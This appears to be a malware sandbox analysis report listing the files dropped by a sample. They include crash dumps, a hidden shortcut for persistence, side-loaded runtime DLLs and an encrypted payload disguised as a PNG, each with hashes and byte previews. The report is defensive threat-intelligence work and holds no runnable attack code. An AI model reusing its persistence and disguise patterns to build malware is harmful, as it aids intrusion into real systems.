.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.t.A.s.I.d.=.4.2.9.....I.s.F.a.t.a.l.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4BE8.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 18 12:06:19 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	59720
Entropy (8bit):	1.6882843120225532
Encrypted:	false
SSDEEP:	96:5I88lJcrTNKcsqOe10TWp6P/zi7/6DTtxjMgBLiTkuGTgstV/0QyvpJpDembB5xw:Jj6rejA/zOC/v05GTgGsp1XtwS+h
MD5:	BA1EA70810BDA9757ADEAE3D48511BD3
SHA1:	8C08C4C09A6582AB68CA5BFA29809EF1E27D43D7
SHA-256:	D18B60B0F5BF6E5AA836B916E246B440BC74822FA5F9C873B5A61D07EBCD84D2
SHA-512:	43A868DE8805095149A0752EF9D33EAFFEA5D15DCFF423E4D72A4AAF42A098D69CA1A1A20854CB8BB7047A0640B42D5B25B4CD3D1A715AC924D7863481A2B773
Malicious:	false
Preview:	MDMP..a..... .........bg........................h...........<...............r,..........`.......8...........T...............X...........L...........8...............................................................................eJ..............Lw......................T.............bg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4CE3.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8492
Entropy (8bit):	3.691847802179193
Encrypted:	false
SSDEEP:	192:R6l7wVeJ+WpE26YAiXgmfteslipBRv89bh1kform:R6lXJ3pE26Y9XgmfteHQhGfJ
MD5:	DA1C49740DACB45F7D8F2B10B63C65F3
SHA1:	1E9045C23668B08F883A18B375DDF5E1F1402162
SHA-256:	69262F9D66BCC7A68027B00AAF64304FAF591A40B01C5C9ED3663C699956264D
SHA-512:	7E7AF4EFA57E402651D7ADE650E187D5A9795D4605A8399FA8418D1EF53C6B383BEEDCE2C02B87271F7A1061AA930F05B580D720DF9E5FBAE3C331EEE2993A6F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D23.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4613
Entropy (8bit):	4.425463514110702
Encrypted:	false
SSDEEP:	48:cvIwWl8zsEtJg771I9s/WpW8VYlYm8M4JB0KtFymyq85zVKulXyfd:uIjfEHI7fu7VRJ23mQJVyfd
MD5:	E54A8235EF3585BF074B95900DDBB321
SHA1:	243737723E2084F193000AE27144362CC7DB07B0
SHA-256:	FF3E024F917F884A9D0BB5C019D45CA4CD4B157B7F60D3CC98C22B0441B72C13
SHA-512:	346B1A4B73A134A1AF1E878B58CA0627F8A367B9DC38B495170082893FC8539A5C5B39E12E628C8FF889ABAB9EFD4892BB3BE88352C66EB1AB1589CED3ACC13E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="636669" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5C34.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 18 12:06:23 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	36336
Entropy (8bit):	2.2996016815375953
Encrypted:	false
SSDEEP:	192:NVkIKOmllOCXhZsiWpz/U3CtlWcuXpxKe21bFj:/02CXhz0Uyk5xKegBj
MD5:	8FBA0A5D492E6EA6E59CC1E49D4CAA7D
SHA1:	8E3A6DE7E9E51041F8DEC66AEA28823C57A84CC5
SHA-256:	3DB047206EB7456A6B6C8CDDA2FD49FE45541B39D35012DB7AE994CAD35990E2
SHA-512:	EB8836555E11DA57D0CA740610BDF7AE5C3B7F2BE9A531F6DD6BFD2DC93B248E53E9CFDFECED56AA6D79AC6106BEEC6CE991C7126F3E8499680DE91ECB67C3EE
Malicious:	false
Preview:	MDMP..a..... .........bg............4...............H.......<...`.......t....$..........`.......8...........T...........P...........................................................................................................eJ...... .......Lw......................T.............bg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5CC2.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6488
Entropy (8bit):	3.709069947997313
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetb+4eUYte9uxIZ5aMOUT89bPA1DZf0m9mm:R6l7wVeJ+4eUYte5pBT89b411f0mom
MD5:	3E0BCB1C6118BC9F81E685E39ADA0150
SHA1:	7262B0A35C7D56C6D2AF8A56795EB43D3A79D360
SHA-256:	D40B0165429BD94F37C3C39D8315FF2EEF4C569778730CACFC4C5726F6D91072
SHA-512:	8C615796384CBED82AEF897276C46A08811AB5C9B49F2577834C6099C3011E19972335048F812E25C91ECDCF8A8AA9C0C544BE65313DE6CBEDA19847B86FBED2
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D30.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4613
Entropy (8bit):	4.421240870835798
Encrypted:	false
SSDEEP:	48:cvIwWl8zsEtJg771I9s/WpW8VYjnYm8M4JB0KtFbqyq85zVKulXyfd:uIjfEHI7fu7Vw6J2yqQJVyfd
MD5:	1EBC55DBD4AC08DC54E798794D41EA2D
SHA1:	F71837E10D318E055C6DE8C1869309CB24FF199A
SHA-256:	B2E7B975882FD053830C8BAF7870073081A236AA0074DDADE55EC1177E85F2A8
SHA-512:	3BD86F2054BE7615A6655BF18C77C92291FDF7C991EF7644677225736B8A21E8E1515C7B55A3DD88D77F7FC373BABCFCCE580A0DC04DB2694C0F09B30A6B9664
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="636669" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\MyLnk\down.lnk

Download File

Process:	C:\Windows\explorer.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed Dec 18 11:05:38 2024, mtime=Wed Dec 18 11:06:19 2024, atime=Wed Dec 18 11:05:46 2024, length=2659840, window=hide
Category:	dropped
Size (bytes):	1072
Entropy (8bit):	4.995563531030725
Encrypted:	false
SSDEEP:	24:8mAbiGfxcYSegm2KwMSfSQZA7v4UVSU6FzbMUqygm:8m80e0MSfO1VSJlMdyg
MD5:	30D2F001605639818A897A33962A4705
SHA1:	2631DFCAF25836319BF006FA3A8CC91D8618BBE2
SHA-256:	E4706B3F8B5654FF7077ECA7EF00EDFD1CCC05B1A49EEDA90BE72743033982AC
SHA-512:	DAB695F522A86CBD81DBF2090D24879E6DE6C7495211881FA4D9BD50880725692F8D156299A791D61D84366FE297F44C8344A695B4AF6AE9BA11B7CD6D31AA6C
Malicious:	false
Preview:	L..................F.... ....3.'EQ..TOQ?EQ..g.+EQ....(.....................\.:..DG..Yr?.D..U..k0.&...&...... M......3.'EQ...o.AEQ......t...CFSF..1......Y.`..DOTA06~1....t.Y^...H.g.3..(.....gVA.G..k..........Y.`.Y.`..........................D.<.D.o.t.a.0.6.d.0.9.7.3.1.-.0.1.b.5.-.4.a.5.a.-.b.3.f.9.-.2.2.9.5.3.f.c.5.b.3.1.4...D.Z.2...(..Y.` .zfon.exe..B......Y.`.Y.`..........................._..z.f.o.n...e.x.e.......p...............-.......o...........:4a......C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe..D.....\.....\.U.s.e.r.s.\.a.l.f.o.n.s.\.D.o.t.a.0.6.d.0.9.7.3.1.-.0.1.b.5.-.4.a.5.a.-.b.3.f.9.-.2.2.9.5.3.f.c.5.b.3.1.4.\.z.f.o.n...e.x.e...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.y.L.n.k.............:...........\|....I.J.H..K..:...`.......X.......user-pc........hT..CrF.f4... ...~8....,...W..hT..CrF.f4... ...~8....,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3..

C:\ProgramData\kernelquick.sys

Download File

Process:	C:\Windows\hh.exe
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	2.6616157143988106
Encrypted:	false
SSDEEP:	3:tblM6lEjln:tbhEZn
MD5:	AE50B29A0B8DCC411F24F1863B0EAFDE
SHA1:	D415A55627B1ADED8E4B2CBBA402F816B0461155
SHA-256:	6B4BBBCE480FBC50D39A8EC4B72CDB7D781B151921E063DD899FD9B736ADCF68
SHA-512:	D9A9BA42D99BE32D26667060BE1D523DCD20EAFA187A67F7919002CC6DA349FD058053C9C6F721D6FDB730EA02FBAA3013E51C0C653368BD6B3F57A4C0FCABA8
Malicious:	true
Preview:	C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.

C:\Users\Public\Downloads\aut.txt

Download File

Process:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.368042422572716
Encrypted:	false
SSDEEP:	3:hMCEpFQkv:hur9
MD5:	2D282102FA671256327D4767EC23BC6B
SHA1:	E6C4FBD4FE7607F3E6EBF68B2EA4EF694DA7B4FE
SHA-256:	649B8B471E7D7BC175EEC758A7006AC693C434C8297C07DB15286788C837154A
SHA-512:	BF9BAC8036EA00445C04E3630148FDEC15AA91E20B753349D9771F4E25A4F68C82F9BD52F0A72CEAFF5415A673DFEBC91F365F8114009386C001F0D56C7015DE
Malicious:	false
Preview:	This is a test file..

C:\Users\Public\Downloads\tas.txt

Download File

Process:	C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.368042422572716
Encrypted:	false
SSDEEP:	3:hMCEpFQkv:hur9
MD5:	2D282102FA671256327D4767EC23BC6B
SHA1:	E6C4FBD4FE7607F3E6EBF68B2EA4EF694DA7B4FE
SHA-256:	649B8B471E7D7BC175EEC758A7006AC693C434C8297C07DB15286788C837154A
SHA-512:	BF9BAC8036EA00445C04E3630148FDEC15AA91E20B753349D9771F4E25A4F68C82F9BD52F0A72CEAFF5415A673DFEBC91F365F8114009386C001F0D56C7015DE
Malicious:	false
Preview:	This is a test file..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VJQyKuHEUe.exe.log

Download File

Process:	C:\Users\user\Desktop\VJQyKuHEUe.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	107416
Entropy (8bit):	3.9981782829126855
Encrypted:	false
SSDEEP:	768:Plz6k8GYwXW3jk0QDRcE+zvNuLxKNCjBlzTPieb6PR1vP1QlJd5m5oypQqW3/g+L:EkiwhRcE+zk5eJ+hOihGxnlpEFOdKQI
MD5:	32773B997C44077752C165C577D857A9
SHA1:	E58922A6F7DD3F2A9F3C551597E7EBCBDAE0BD7F
SHA-256:	0BD726D433201127942D7B1779D4345ABBEED7AE196E908CFA5FA27E876EFE05
SHA-512:	8937643C5966FDF45555C1ACE664DE97F777FD2CC42ACA19A66E5A8B5B0020AF233A525DA2AA61B133EF580505A882DD5554312F0B2FECFD71C7838B4F7107C7
Malicious:	false
Preview:	....h... .......`.......P...........`...X.......]...................8...V.......e.n.-.C.H.;.e.n.-.G.B..............................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................a.l.f.o.n.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u......................(..........P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000014.db

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	107416
Entropy (8bit):	3.999081844772787
Encrypted:	false
SSDEEP:	768:JlzckaGYwXW3jk0QDRcE+zvNuLxKNCjBlzTPieb6PR1vP1QlJd5m5oypQqW3/g+J:IkcwhRcE+zk5eJ+hOihGxnlpEFOdKQK
MD5:	28763EA85BF6CE0DE5E358163A67053C
SHA1:	3EA2C1B7F7FF27684428BF2C1E7B1DFD1907D049
SHA-256:	DBC86AFEF8F743D4007A366558FC9DF1E1B277232E75369FA4FA861F84C80D29
SHA-512:	CC9C9EF666DC7FD5446E355A0A9B21AC1541E45AA1239A176BDB71000118E1135F1A8821072159DF4A70BAB4C219631528BE385667C434D3A49C9B0340D03E36
Malicious:	false
Preview:	....h... .......`.......P...........`...X.......]...................8...V.......e.n.-.C.H.;.e.n.-.G.B..............................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................a.l.f.o.n.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u......................(..........P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Windows[2].json

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	5.2071251641562215
Encrypted:	false
SSDEEP:	12:YWgc2CvLqZeH+avLqZ/uQBmwAkA53c27fyfH+2yrZMAdrKC8K/y8kEhq1HLxycXl:Yzc2CTDH9TCJAkC3c2IHt0drc6hE1opM
MD5:	AC9F07C35AFD29813A45167DDD632507
SHA1:	43D72AF268B5D47EBEE4AD5C6A755F0CB15F6A5B
SHA-256:	0F612F484CCF090D4B8545A0F762BD201C05F4DA38B7940C7C85046FC8203137
SHA-512:	C99AA7ED42FFC70DB771FC376389C34392D18C52B5458967B53476FFC63D4C3B0AAFF1652E84E6FCB8ECF5DA248D662EE1DC4C157496BA1BF76BD4A067E7DFC6
Malicious:	false
Preview:	{"serviceContext":{"serviceActivityId":"4cb3b434-acee-4f79-bce5-b76561184c32","responseCreationDateTime":"0001-01-01T00:00:00","debugId":"4cb3b434-acee-4f79-bce5-b76561184c32\|2024-12-18T12:06:31.8595060Z\|fabric_msn\|EUS2-A\|News_811","tier":"\u0000","clientActivityId":"A16F1333-918E-4891-9D0E-CB5A1C05777F"},"expirationDateTime":"0001-01-01T00:00:00","showBadge":false,"settings":{"refreshIntervalMinutes":0,"feedEnabled":true,"evolvedNotificationLifecycleEnabled":false,"showBadgeOnRotationsForEvolvedNotificationLifecycle":false,"webView2Enabled":false,"webView2EnabledV1":false,"windowsSuppressClientRace":false,"flyoutV2EndpointEnabled":false,"showAnimation":false,"useTallerFlyoutSize":false,"useDynamicHeight":false,"useWiderFlyoutSize":false,"reclaimEnabled":false,"isPreviewDurationsEnabled":false,"1SlockscreenContentEnabled":true,"setMUIDOnMultipleDomains":false},"isPartial":false}

C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\MSVCP140.dll

Download File

Process:	C:\Users\user\Desktop\VJQyKuHEUe.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	627992
Entropy (8bit):	6.360523442335369
Encrypted:	false
SSDEEP:	12288:dO93oUW7jh6DN0RUhsduQjqDZ6X/t5mTOKGmJ7DseBiltBMQEKZm+jWodEEVoFt:s3oUW7jh6DN0RUhsduQjqDZ6X/t5mTOo
MD5:	C1B066F9E3E2F3A6785161A8C7E0346A
SHA1:	8B3B943E79C40BC81FDAC1E038A276D034BBE812
SHA-256:	99E3E25CDA404283FBD96B25B7683A8D213E7954674ADEFA2279123A8D0701FD
SHA-512:	36F9E6C86AFBD80375295238B67E4F472EB86FCB84A590D8DBA928D4E7A502D4F903971827FDC331353E5B3D06616664450759432FDC8D304A56E7DACB84B728
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: nrGkqbCyKP.exe, Detection: malicious, Browse Filename: sxVHUOSqVC.exe, Detection: malicious, Browse Filename: R0SkdJNujW.exe, Detection: malicious, Browse Filename: drivers.exe, Detection: malicious, Browse Filename: GameBoxMini.exe, Detection: malicious, Browse Filename: drivers.exe, Detection: malicious, Browse Filename: RQoBY766F5.exe, Detection: malicious, Browse Filename: RQoBY766F5.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: RemotePCViewer.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`..r$..!$..!$..!.O.!&..!-.\|!2..!v.. '..!$..!...!v.. '..!v.. o..!v.. j..!v.. %..!v..!%..!v.. %..!Rich$..!................PE..d.....0].........." .........`...... ...............................................T.....`A............................................h....................0..t@...T...A..............8............................................ ..........@....................text...<........................... ..`.rdata..<.... ......................@..@.data....;..........................@....pdata..t@...0...B..................@..@.didat..h............B..............@....rsrc................D..............@..@.reloc...............H..............@..B................................................................................................................................................................................................................

C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\VJQyKuHEUe.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119376
Entropy (8bit):	6.605105564769165
Encrypted:	false
SSDEEP:	1536:BqvQFDdwFBHKaPX8YKpWgeQqbekRG7MP4ddbHecbWcmpCGtodMzDZ92zfa:BqvQFDUXqWn7CkRG7jecbWb9toaera
MD5:	E9B690FBE5C4B96871214379659DD928
SHA1:	C199A4BEAC341ABC218257080B741ADA0FADECAF
SHA-256:	A06C9EA4F815DAC75D2C99684D433FBFC782010FAE887837A03F085A29A217E8
SHA-512:	00CF9B22AF6EBBC20D1B9C22FC4261394B7D98CCAD4823ABC5CA6FDAC537B43A00DB5B3829C304A85738BE5107927C0761C8276D6CB7F80E90F0A2C991DBCD8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.... ............" ...&. ...d.......................................................:....`A.........................................e..4...4m..........................PP...........N..p............................L..@............0...............................text...V........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\aut.png

Download File

Process:	C:\Users\user\Desktop\VJQyKuHEUe.exe
File Type:	PNG image data, 605 x 390, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	660160
Entropy (8bit):	7.996422927525233
Encrypted:	true
SSDEEP:	12288:tiTfEJiX3KaRppbIa6QJKuI+tdwh0b+ngpZfPd78cnFICTQLgMGatwJtiy9:WX3Ke5xI+ttqngpRD+CipGatwx
MD5:	0CA6A22E9FEADB18C76712B5B0256B96
SHA1:	46A678DCB5FC076816165DA255AB237D027975FB
SHA-256:	8A8D9DD1DDDCA28A9063E828B1F8CE35D6DDC68692C988DA79BA957FDBC0035A
SHA-512:	19B7754408DC79610B4447F6B7C55F9863378ECFD60A7496366DAA5CA4032DD0B2A0FD656D8112069D5385C45B57617C8B7B288BCDBCEB85BAB01FF44FB7D498
Malicious:	false
Preview:	.PNG........IHDR...]................pHYs...%...%.IR$.....tEXtSoftware.Snipaste]..... .IDATx..W.$;.%..={...b.2.p.....+.euO1_.07..Ah........#D "b&"&.G"".c.1@...>33.~%".j&....{eK../.ML..9...t..5.3.Hd... ..[.....i..T..]... &f.....L..cP.OG...%.......>....D..g"..W.gV.. ..""..1+.^.....{T.......J...>.!.....yq.N../..f.6../...4.EL{0.@7L"F.(ha.y.A..1V....B.L.V..g.D..vs..<t ..'..~`.q!..p!$.zD$d.IB...Y.~..B......>...w......9...`..<..EA.....0./....`....BoI..^p!.h....h.<.....Ls%..g.\.C.i~,.\|Uh.VTq.1F.7..{-.6..-.....I....Z...%)C.\l\.yoX.KT.....?..k.......9....r..>l.......Z5?..+.\.P1.....!...L6....'.( ....33.$$.......h..1Q.r.e4...IhFI.Z........"d .^.0q.KQ..j..W........#....W..D..0K..h...K.........#MqW3]...\q{..*....R.m...H..."..a6O...pNs._N.......I1.@Nc.}.W0}.... b83.2.b...c.......jod5<F.o@5..Wc.4.Ekr.e.?dXb. .H=..PFU,..(..4....D.uk!lp.P.....(E}.r.......<.9.?.}.....i(.....t.&x.`_e..}./.i.SZ.....;..md'X._...Q..........j..:.G...../6...H..DJ......k..`.a.9..

C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\libcef.dll

Download File

Process:	C:\Users\user\Desktop\VJQyKuHEUe.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 244397152
Category:	dropped
Size (bytes):	271126
Entropy (8bit):	1.6290509027122977
Encrypted:	false
SSDEEP:	768:62OeAYrjCbBn/J91NhFz6PWUaoolBso6lTqx2Y:6Dlp/T1NhJ6UB1fx2Y
